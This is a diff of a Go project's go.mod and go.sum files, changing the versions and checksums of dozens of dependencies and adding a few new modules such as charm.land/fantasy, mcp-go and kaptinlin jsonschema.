github.com/sendgrid/rest v2.6.9+incompatible // indirect
github.com/sendgrid/sendgrid-go v3.16.1+incompatible // indirect
github.com/silenceper/wechat/v2 v2.1.11 // indirect
github.com/slack-go/slack v0.24.0 // indirect
github.com/slack-go/slack v0.17.3 // indirect
github.com/spf13/cast v1.10.0 // indirect
github.com/spiffe/go-spiffe/v2 v2.6.0 // indirect
github.com/stretchr/objx v0.5.3 // indirect
@@ -207,17 +214,18 @@ require (
github.com/yuin/goldmark-emoji v1.0.5 // indirect
go.mau.fi/util v0.9.3 // indirect
go.opentelemetry.io/auto/sdk v1.2.1 // indirect
go.opentelemetry.io/contrib/detectors/gcp v1.43.0 // indirect
go.opentelemetry.io/contrib/detectors/gcp v1.40.0 // indirect
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0 // indirect
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0 // indirect
go.opentelemetry.io/otel v1.43.0 // indirect
go.opentelemetry.io/otel/metric v1.43.0 // indirect
go.opentelemetry.io/otel/sdk v1.43.0 // indirect
go.opentelemetry.io/otel/sdk/metric v1.43.0 // indirect
go.opentelemetry.io/otel/trace v1.43.0 // indirect
go.opentelemetry.io/otel v1.40.0 // indirect
go.opentelemetry.io/otel/metric v1.40.0 // indirect
go.opentelemetry.io/otel/sdk v1.40.0 // indirect
go.opentelemetry.io/otel/sdk/metric v1.40.0 // indirect
go.opentelemetry.io/otel/trace v1.40.0 // indirect
google.golang.org/appengine/v2 v2.0.6 // indirect
google.golang.org/genai v1.49.0 // indirect
google.golang.org/genproto v0.0.0-20260226221140-a57be14db171 // indirect
google.golang.org/genproto/googleapis/api v0.0.0-20260414002931-afd174a4e478 // indirect
google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171 // indirect
gopkg.in/go-playground/validator.v9 v9.31.0 // indirect
)
@@ -231,7 +239,7 @@ require (
github.com/VividCortex/ewma v1.2.0 // indirect
github.com/akutz/memconn v0.1.0 // indirect
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e // indirect
github.com/atotto/clipboard v0.1.4
github.com/atotto/clipboard v0.1.4 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/aws/aws-sdk-go-v2 v1.41.3 // indirect
@@ -240,8 +248,8 @@ require (
github.com/carapace-sh/carapace v1.11.0
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/colorprofile v0.4.3
github.com/charmbracelet/x/ansi v0.11.7
github.com/charmbracelet/colorprofile v0.4.2
github.com/charmbracelet/x/ansi v0.11.6
github.com/charmbracelet/x/exp/charmtone v0.0.0-20260109001716-2fbdffcb221f
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.2 // indirect
@@ -273,7 +281,7 @@ require (
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
github.com/jackc/pgx/v5 v5.10.0 // indirect
github.com/jackc/pgx/v5 v5.7.6 // indirect
github.com/jackc/puddle/v2 v2.2.2 // indirect
github.com/jcmturner/gofork v1.7.6 // indirect
github.com/jezek/xgb v1.1.1 // indirect
@@ -281,12 +289,12 @@ require (
github.com/jinzhu/now v1.1.5 // indirect
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
github.com/lucasb-eyer/go-colorful v1.4.0
github.com/lucasb-eyer/go-colorful v1.3.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mark3labs/mcp-go v0.45.0
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-runewidth v0.0.23 // indirect
github.com/mattn/go-runewidth v0.0.20 // indirect
github.com/mdlayher/netlink v1.8.0 // indirect
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
@@ -316,12 +324,12 @@ require (
go4.org/mem v0.0.0-20240501181205-ae6ca9944745 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/oauth2 v0.36.0 // indirect
golang.org/x/sync v0.22.0 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/time v0.14.0
golang.org/x/tools v0.47.0 // indirect
golang.org/x/tools v0.42.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+104 -66
View File
@@ -8,12 +8,14 @@ charm.land/bubbles/v2 v2.0.0 h1:tE3eK/pHjmtrDiRdoC9uGNLgpopOd8fjhEe31B/ai5s=
charm.land/bubbles/v2 v2.0.0/go.mod h1:rCHoleP2XhU8um45NTuOWBPNVHxnkXKTiZqcclL/qOI=
charm.land/bubbletea/v2 v2.0.2 h1:4CRtRnuZOdFDTWSff9r8QFt/9+z6Emubz3aDMnf/dx0=
charm.land/bubbletea/v2 v2.0.2/go.mod h1:3LRff2U4WIYXy7MTxfbAQ+AdfM3D8Xuvz2wbsOD9OHQ=
charm.land/glamour/v2 v2.0.1 h1:xl+r00A4aJWU0z8fgwKd9fQQ4rsphqGUzuEiXZP5n+c=
charm.land/glamour/v2 v2.0.1/go.mod h1:jo9z8XqVKPeEFMVdvCRLGk++RyJ3CdUwgNr7EvXLw3k=
charm.land/fantasy v0.8.1 h1:2zQovDrd26g+/X2+/6bMomTX54HmZWNNHWeorDO0WRo=
charm.land/fantasy v0.8.1/go.mod h1:KJ8vjy9FH7G2aeR/fL+os2uFHkQ4js2+UJVbsUKCXYM=
charm.land/glamour/v2 v2.0.0 h1:IDBoqLEy7Hdpb9VOXN+khLP/XSxtJy1VsHuW/yF87+U=
charm.land/glamour/v2 v2.0.0/go.mod h1:kjq9WB0s8vuUYZNYey2jp4Lgd9f4cKdzAw88FZtpj/w=
charm.land/huh/v2 v2.0.3 h1:2cJsMqEPwSywGHvdlKsJyQKPtSJLVnFKyFbsYZTlLkU=
charm.land/huh/v2 v2.0.3/go.mod h1:93eEveeeqn47MwiC3tf+2atZ2l7Is88rAtmZNZ8x9Wc=
charm.land/lipgloss/v2 v2.0.4 h1:lcPeVtcp23SNra7lHy8iYE4UC2aIipVQ47sbGyyxR5Q=
charm.land/lipgloss/v2 v2.0.4/go.mod h1:0653x8epbZSzdDfO/XPS1a/uYPOBeSsCssOpJOqDzik=
charm.land/lipgloss/v2 v2.0.2 h1:xFolbF8JdpNkM2cEPTfXEcW1p6NRzOWTSamRfYEw8cs=
charm.land/lipgloss/v2 v2.0.2/go.mod h1:KjPle2Qd3YmvP1KL5OMHiHysGcNwq6u83MUjYkFvEkM=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
@@ -60,8 +62,8 @@ github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRl
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs=
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.32.0 h1:rIkQfkCOVKc1OiRCNcSDD8ml5RJlZbH/Xsq7lbpynwc=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.32.0/go.mod h1:RD2SsorTmYhF6HkTmDw7KmPYQk8OBYwTkuasChwv7R4=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0 h1:DHa2U07rk8syqvCge0QIGMCE1WxGj9njT44GH7zNJLQ=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0/go.mod h1:P4WPRUkOhJC13W//jWpyfJNDAIpvRbAUIYLX/4jtlE0=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0 h1:UnDZ/zFfG1JhH/DqxIZYU/1CUAlTUScoXD/LcM2Ykk8=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0/go.mod h1:IA1C1U7jO/ENqm/vhi7V9YYpBsp+IMyqNrEN94N7tVc=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.55.0 h1:7t/qx5Ost0s0wbA/VDrByOooURhp+ikYwv20i9Y07TQ=
@@ -120,6 +122,8 @@ github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpF
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
github.com/aws/aws-sdk-go-v2 v1.41.3 h1:4kQ/fa22KjDt13QCy1+bYADvdgcxpfH18f0zP542kZA=
github.com/aws/aws-sdk-go-v2 v1.41.3/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o=
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.5 h1:zWFmPmgw4sveAYi1mRqG+E/g0461cJ5M4bJ8/nc6d3Q=
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.5/go.mod h1:nVUlMLVV8ycXSb7mSkcNu9e3v/1TJq2RTlrPwhYWr5c=
github.com/aws/aws-sdk-go-v2/config v1.32.11 h1:ftxI5sgz8jZkckuUHXfC/wMUc8u3fG1vQS0plr2F2Zs=
github.com/aws/aws-sdk-go-v2/config v1.32.11/go.mod h1:twF11+6ps9aNRKEDimksp923o44w/Thk9+8YIlzWMmo=
github.com/aws/aws-sdk-go-v2/credentials v1.19.11 h1:NdV8cwCcAXrCWyxArt58BrvZJ9pZ9Fhf9w6Uh5W3Uyc=
@@ -182,14 +186,14 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex9t5KX76i20Q=
github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q=
github.com/charmbracelet/harmonica v0.2.0 h1:8NxJWRWg/bzKqqEaaeFNipOu77YR5t8aSwG4pgaUBiQ=
github.com/charmbracelet/harmonica v0.2.0/go.mod h1:KSri/1RMQOZLbw7AHqgcBycp8pgJnQMYYT8QZRqZ1Ao=
github.com/charmbracelet/anthropic-sdk-go v0.0.0-20260223140439-63879b0b8dab h1:J7XQLgl9sefgTnTGrmX3xqvp5o6MCiBzEjGv5igAlc4=
github.com/charmbracelet/anthropic-sdk-go v0.0.0-20260223140439-63879b0b8dab/go.mod h1:hqlYqR7uPKOKfnNeicUbZp0Ps0GeYFlKYtwh5HGDCx8=
github.com/charmbracelet/colorprofile v0.4.2 h1:BdSNuMjRbotnxHSfxy+PCSa4xAmz7szw70ktAtWRYrY=
github.com/charmbracelet/colorprofile v0.4.2/go.mod h1:0rTi81QpwDElInthtrQ6Ni7cG0sDtwAd4C4le060fT8=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
github.com/charmbracelet/x/ansi v0.11.7 h1:kzv1kJvjg2S3r9KHo8hDdHFQLEqn4RBCb39dAYC84jI=
github.com/charmbracelet/x/ansi v0.11.7/go.mod h1:9qGpnAVYz+8ACONkZBUWPtL7lulP9No6p1epAihUZwQ=
github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8=
github.com/charmbracelet/x/ansi v0.11.6/go.mod h1:2JNYLgQUsyqaiLovhU2Rv/pb8r6ydXKS3NIttu3VGZQ=
github.com/charmbracelet/x/conpty v0.1.1 h1:s1bUxjoi7EpqiXysVtC+a8RrvPPNcNvAjfi4jxsAuEs=
github.com/charmbracelet/x/conpty v0.1.1/go.mod h1:OmtR77VODEFbiTzGE9G1XiRJAga6011PIm4u5fTNZpk=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
@@ -204,6 +208,8 @@ github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 h1:DTSZx
github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5/go.mod h1:vI5nDVMWi6veaYH+0Fmvpbe/+cv/iJfMntdh+N0+Tms=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0/go.mod h1:pBhA0ybfXv6hDjQUZ7hk1lVxBiUbupdw5R31yPUViVQ=
github.com/charmbracelet/x/json v0.2.0 h1:DqB+ZGx2h+Z+1s98HOuOyli+i97wsFQIxP2ZQANTPrQ=
github.com/charmbracelet/x/json v0.2.0/go.mod h1:opFIflx2YgXgi49xVUu8gEQ21teFAxyMwvOiZhIvWNM=
github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk=
github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI=
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
@@ -270,6 +276,8 @@ github.com/djherbis/times v1.6.0/go.mod h1:gOHeRAz2h+VJNZ5Gmc/o7iD9k4wW7NMVqieYC
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dlclark/regexp2 v1.11.5 h1:Q/sSnsKerHeCkc/jSTNq1oCm7KiVgUMZRDUoRu0JQZQ=
github.com/dlclark/regexp2 v1.11.5/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/dnaeon/go-vcr v1.2.0 h1:zHCHvJYTMh1N7xnV7zf1m1GPBF9Ad0Jk/whtQ1663qI=
github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ=
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 h1:uh1GSejOhVPRQmoXZxY82TiewZB8QXiaP1skL7Nun3Y=
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7/go.mod h1:ncTaGuXc5v7AuiVekeJ0Nwh8Bf4cudukoj0qM/15UZE=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
@@ -313,8 +321,8 @@ github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GM
github.com/glebarez/sqlite v1.11.0/go.mod h1:h8/o8j5wiAsqSPoWELDUdJXhjAhsVliSn7bWZjOhrgQ=
github.com/go-chi/chi/v5 v5.2.3 h1:WQIt9uxdsAbgIYgid+BpYc+liqQZGMHRaUwp0JUcvdE=
github.com/go-chi/chi/v5 v5.2.3/go.mod h1:L2yAIGWB3H+phAw1NxKwWM+7eUH/lU8pOMm5hHcoops=
github.com/go-jose/go-jose/v4 v4.1.4 h1:moDMcTHmvE6Groj34emNPLs/qtYXRVcd6S7NHbHz3kA=
github.com/go-jose/go-jose/v4 v4.1.4/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=
github.com/go-jose/go-jose/v4 v4.1.3 h1:CVLmWDhDVRa6Mi/IgCgaopNosCaHz7zrMeF9MlZRkrs=
github.com/go-jose/go-jose/v4 v4.1.3/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=
github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e h1:Lf/gRkoycfOBPa42vU2bbgPurFong6zXeFtPoxholzU=
github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e/go.mod h1:uNVvRXArCGbZ508SxYYTC5v1JWoz2voff5pm25jU1Ok=
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
@@ -346,6 +354,8 @@ github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible h1:2cauKuaEL
github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible/go.mod h1:qf9acutJ8cwBUhm1bqgz6Bei9/C/c93FPDljKWwsOgM=
github.com/go-test/deep v1.1.1 h1:0r/53hagsehfO4bzD2Pgr/+RgHqhmf+k1Bpse2cTu1U=
github.com/go-test/deep v1.1.1/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE=
github.com/go-viper/mapstructure/v2 v2.5.0 h1:vM5IJoUAy3d7zRSVtIwQgBj7BiWtMPfmPEgAXnvj1Ro=
github.com/go-viper/mapstructure/v2 v2.5.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
github.com/go4org/plan9netshell v0.0.0-20250324183649-788daa080737 h1:cf60tHxREO3g1nroKr2osU3JWZsJzkfi7rEg+oAB0Lo=
github.com/go4org/plan9netshell v0.0.0-20250324183649-788daa080737/go.mod h1:MIS0jDzbU/vuM9MC4YnBITCv+RYuTRq8dJzmCrFsK9g=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
@@ -354,6 +364,8 @@ github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs=
github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
@@ -455,8 +467,8 @@ github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsI
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo=
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
github.com/jackc/pgx/v5 v5.10.0 h1:VhSvgU2jSli8o3AqIEOTJr7rZwAEUVo4E4XhR94Zfr0=
github.com/jackc/pgx/v5 v5.10.0/go.mod h1:mal1tBGAFfLHvZzaYh77YS/eC6IX9OWbRV1QIIM0Jn4=
github.com/jackc/pgx/v5 v5.7.6 h1:rWQc5FwZSPX58r1OQmkuaNicxdmExaEz5A2DO2hUuTk=
github.com/jackc/pgx/v5 v5.7.6/go.mod h1:aruU7o91Tc2q2cFp5h4uP3f6ztExVpyVv88Xl/8Vl8M=
github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo=
github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
@@ -482,6 +494,14 @@ github.com/jsimonetti/rtnetlink v1.4.2 h1:Df9w9TZ3npHTyDn0Ev9e1uzmN2odmXd0QX+J5G
github.com/jsimonetti/rtnetlink v1.4.2/go.mod h1:92s6LJdE+1iOrw+F2/RO7LYI2Qd8pPpFNNUYW06gcoM=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/kaptinlin/go-i18n v0.2.3 h1:jyN/YOXXLcnGRBLdU+a8+6782B97fWE5aQqAHtvvk8Q=
github.com/kaptinlin/go-i18n v0.2.3/go.mod h1:O+Ax4HkMO0Jt4OaP4E4WCx0PAADeWkwk8Jgt9bjAU1w=
github.com/kaptinlin/jsonpointer v0.4.9 h1:o//bYf4PCvnMJIIX8bIg77KB6DO3wBPAabRyPRKh680=
github.com/kaptinlin/jsonpointer v0.4.9/go.mod h1:9y0LgXavlmVE5FSHShY5LRlURJJVhbyVJSRWkilrTqA=
github.com/kaptinlin/jsonschema v0.6.10 h1:CYded7nrwVu7pU1GaIjtd9dSzgqZjh7+LTKFaWqS08I=
github.com/kaptinlin/jsonschema v0.6.10/go.mod h1:ZXZ4K5KrRmCCF1i6dgvBsQifl+WTb8XShKj0NpQNrz8=
github.com/kaptinlin/messageformat-go v0.4.9 h1:FR5j5n4aL4nG0afKn9vvANrKxLu7HjmbhJnw5ogIwAQ=
github.com/kaptinlin/messageformat-go v0.4.9/go.mod h1:qZzrGrlvWDz2KyyvN3dOWcK9PVSRV1BnfnNU+zB/RWc=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4=
@@ -521,8 +541,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4=
github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
@@ -531,6 +551,8 @@ github.com/mailgun/mailgun-go/v5 v5.8.1 h1:QoRa2oBqLq+8GTYgM4id/cKW/WySQRka3PtnW
github.com/mailgun/mailgun-go/v5 v5.8.1/go.mod h1:qNTXXuJi9/myqpDLI8Mbn54WCXdto1kEHm6I2/WWYQQ=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/mark3labs/mcp-go v0.43.2 h1:21PUSlWWiSbUPQwXIJ5WKlETixpFpq+WBpbMGDSVy/I=
github.com/mark3labs/mcp-go v0.43.2/go.mod h1:YnJfOL382MIWDx1kMY+2zsRHU/q78dBg9aFb8W6Thdw=
github.com/mark3labs/mcp-go v0.45.0 h1:s0S8qR/9fWaQ3pHxz7pm1uQ0DrswoSnRIxKIjbiQtkc=
github.com/mark3labs/mcp-go v0.45.0/go.mod h1:YnJfOL382MIWDx1kMY+2zsRHU/q78dBg9aFb8W6Thdw=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
@@ -543,8 +565,8 @@ github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.23 h1:7ykA0T0jkPpzSvMS5i9uoNn2Xy3R383f9HDx3RybWcw=
github.com/mattn/go-runewidth v0.0.23/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ=
github.com/mattn/go-runewidth v0.0.20/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
@@ -576,6 +598,8 @@ github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701 h1:6caCgDZpovjvv+
github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701/go.mod h1:UdqyqqCSnPu3Zc8Q3kpDszrq1hcyBHsG17hlWlRJmWI=
github.com/moloch--/go-keystone v0.0.2 h1:xThbYs45CSzoDUz5kBZxAyTPIpK3t5M7NB1x+NTTRL8=
github.com/moloch--/go-keystone v0.0.2/go.mod h1:kpGRJpw9b7Eq3MluHrba+GPKZhSyDrvhLULSwH5nGGM=
